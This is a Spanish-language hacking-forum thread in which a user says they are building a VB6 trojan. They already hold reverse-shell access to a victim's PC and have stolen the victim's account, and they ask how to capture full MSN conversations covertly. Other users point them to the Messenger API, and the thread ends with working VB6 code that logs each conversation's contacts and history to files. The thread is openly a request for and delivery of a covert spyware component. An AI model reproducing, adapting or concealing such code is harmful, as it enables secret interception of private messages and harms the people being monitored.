weno.. estoy creando un troyano en vb6, multi c.i, y seria interesante añadirle la funcion de capturar una conversacion completa de msn, como lo hace la funcion de guardar historiales en msn
alguien se le ocurre alguna idea???
Gracias de antemano ;D
PD: ya estuve buscando, no encontre nada que me convenciera
ooo eso es justo lo que necesito... porq robandole la cuenta y activandole el historial solo funcionara hasta que la persona lo desactive.. y los keyloggers no proporcionan toda la informacion de la conversa...
escuche tambien aserca de sniffers.. pero por lo que vi solo funcionaban para la red local...
de verdad necesito de esta informacion, ademas de querer aprender más cada dia.
cualquier ayuda se agradece.
PD: cabe decir que no necesariamente quiero sniffear, ya que como tengo acceso a ese computador via connexion inversa.. bastaria con crear una especia de "historial de conversas" msn plus.. perocompletamente oculto tanto en su ejecucion como instalacion.
saludos
La respuesta la tienes en (http://foro.elhacker.net/Themes/default/images/spanish/search.gif)
Tesis, como ya lo dije en mi post NO encontre nada que me sirva, por eso posteo aca, si tienes algo en que aportar se te agradeceria
alguien podria ayudarme!? no encuentro nada en el foro!
Pues puedes snifar las conversaciones, aunke lo veo un poco complicado... mirate la api del messenger a ver si hay algo q te valga, q supongo q si ;)
muchas gracias E0N muy buena la api me podria servir mucho.. pero hay alguna forma de activarle guardar los historiales con esa api???
Yo vi un codigo creo pero paa el msn 7,igual alguien podria adaptarlo solo es modificar unas declaraciones y tipos.
Si lo encuentro lo posteo,estaba en vbfrance.com,buscad por:conversation msn o capturer conversation msn.
Saludos.
gracias Jareth!! al parecer me salvas en todos los posts ;D
lo encontre en vbfrance.com por capturer conversation msn
aka va el code por si alguien lo quiere
lo unico que hay que hacer es agregar la api de messenger
para agregarla vayan a Proyecto, Referencias, y seleccionan Messenger Api Type Library
Option Explicit
Private WithEvents objMessenger As MessengerAPI.Messenger
Private Sub Form_Load()
Set objMessenger = New MessengerAPI.Messenger
End Sub
Private Sub objMessenger_OnIMWindowDestroyed(ByVal pIMWindow As Object)
Dim MsgrIMWindow As IMessengerConversationWnd
Dim MsgrContacts As IMessengerContacts
Dim i As Long
Dim fil As Integer
Dim strTmpText As String
Set MsgrIMWindow = pIMWindow
Set MsgrContacts = MsgrIMWindow.Contacts
If MsgrContacts.Count = 0 Then
strTmpText = "test"
Else
strTmpText = MsgrContacts.Item(0).SigninName
End If
fil = FreeFile()
Open "C:\test\" & strTmpText & ".log" For Append As #fil
Print #fil, "_______________________________________________________________________________________"
Print #fil, "Le " & Date & " a " & Time
Print #fil, "Contactos de la Conversacion (" & MsgrContacts.Count & "): "
For i = 0 To MsgrContacts.Count - 1
Print #fil, " - " & MsgrContacts.Item(i).FriendlyName & "<" & MsgrContacts.Item(0).SigninName & ">"
Next
Print #fil, "---------------------------------------------------------------------------------------"
Print #fil, MsgrIMWindow.History
Print #fil, "_______________________________________________________________________________________" & vbCrLf
Close #fil
End Sub
Era ese.Te lo iba a poner yo,pero ya lo encontraste :xD
Saludos y suerte con tu proyecto!